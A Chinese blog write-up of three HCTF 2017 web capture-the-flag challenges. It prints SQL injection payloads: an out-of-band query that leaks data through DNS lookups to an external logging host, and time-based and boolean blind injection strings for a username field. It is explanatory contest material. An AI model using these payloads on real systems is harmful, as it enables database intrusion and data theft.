美文网首页CTF
两天做了HCTF的最简单的题

两天做了HCTF的最简单的题

作者: Cyc1e | 来源:发表于2017-11-12 21:15 被阅读41次

poker2

这两天真的是沉迷游戏,不能自拔,刚开始进入游戏的时候,发现同目录有flag.php,要求游戏升到100级,就可以得到flag,那就是刷级了,结果一注册,发现送了成长礼包(后来才发现原来其他人没有),直接飙到90级,占据全服第一的位置一个上午。这题就是抓包重复刷怪就好了,只知道圣诞小屋经验高。这里直接贴脚本了

简单的刷分脚本

到了100级后到flag.php就直接得到flag:hctf{Go0dLuck_toGetTheFl3g__from_game}


boring website

扫描发现有www.zip,里面有index.php的源码

index.php源码

注入点很明显,就是在参数id那,数据库密码 ‘oob’ 提示这道题是MySQL Out-of-Band攻击,再加上注释的 //link server: On linkname:mysql,目标数据库是SQL Server的,所以这里要用到OpenQuery表达式:OPENQUERY ( linked_server ,’query’ ),由于过滤了敏感字符,没法得到回显,主要参考文章:

http://bobao.360.cn/learning/detail/3458.html,发现可以利用DNS解析提取数据,例如:select load_file(concat(‘\\’,version(),’.hacker.site\a.txt’));所以构造payload:id=1; select * from OpenQuery(mysql,’SELECT LOAD_FILE(CONCAT(“\\”,(select 1),”.mysql.ip.port.8cs2vs.ceye.io\abc”))’);

在DNS解析平台可以得到反馈数据,那么就下来就是把(select 1)改成查库,查表,查字段/内容的语句就好了,主要还是学习了oob攻击一波,这里直接贴图:

flag

得到flag:hctf{dn5-1og-can-take-f14g-6as84f}


poker-poker

打开发现和level 2里的poker2是一样的,那就是一道题两个flag,在做level 2 的时候,就尝试过很多方法,抓包的时候发现带有很多参数,所以把包后甩sqlmap里跑了一下,在注册处的包有报存在注入,但是sqlmap都没法跑出来,带着测试一波的心理开始手动测试,发现username参数可以进行时间盲注,没有过滤,直接构造payload:

?bc=2&bname=easdasd&head=6&pass=&sex=2&username= ’ and if( (ascii(substr((select database()),1))>97),sleep(5)1)–+

发现不仅可以时间,还可以直接判断返回值来注,可以构造payload:

?bc=2&bname=easdasd&head=6&pass=&sex=2&username=11111 ’ and if( (ascii(substr((select database()),1))>97),0,1)–+ 进行注入(这样写脚本方便点)

这里必须补充写下,直接查库是pm_hctf,查到第一个表是PasswordProtection

看到题目是的pspt,心里有点小高兴,结果花了好几个小时,把pm_hctf库下100多个表名都看了一遍,发现没有和flag有关的啊,最后重新查了下其他库,有个hctf,flag2表,真的是一把幸酸泪啊,直接贴脚本:

SQL.py flag

得到flag:hctf{y3u_G0t_tHe__poker_game}

相关文章

  • 两天做了HCTF的最简单的题

    poker2 这两天真的是沉迷游戏,不能自拔,刚开始进入游戏的时候,发现同目录有flag.php,要求游戏升到10...

  • 2017HCTF 三道Web题解

    总结: 今年HCTF 比较难,总共两天就作出三道题,第二关的js逆向题更是做了快一天了,之前对js调试没有接触过,...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • [HCTF] admin出题人求挨打

    [HCTF] admin出题人求挨打 admin 这题本来的思路是希望大家了解下Unicode的安全问题然后因为出...

  • HCTF2018-admin

    title: HCTF2018-admindate: 2019-06-02 19:52:03tags:- HCTF...

  • HCTF2018-WEB-admin

    title: HCTF2018-admindate: 2019-06-02 19:52:03tags: HCTF2...

  • 最简单的动态规划题

    动态规划关键是找状态转移方程,也就是递推关系,这里列出的四道题,都是最简单的递推,一定要熟练掌握。 题目1: 上台...

  • 最简单编程题

    一、给一个数 N,判定这个数是否是素数。 二、给一个数 N,把 2 到 N 之间的素数输出出来 三、写出三角状的 ...

  • 关于JS递归中的坑

    昨天在LeetCode上做算法题,做了第一道最简单的题 题目是这样的-- 给定一个整数数组和一个目标值,找出数组中...

  • 覆盖低位泄露.text地址绕过PIE(ASLR)

    2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了: 程序...

网友评论

    本文标题:两天做了HCTF的最简单的题

    本文链接:https://www.haomeiwen.com/subject/uwbomxtx.html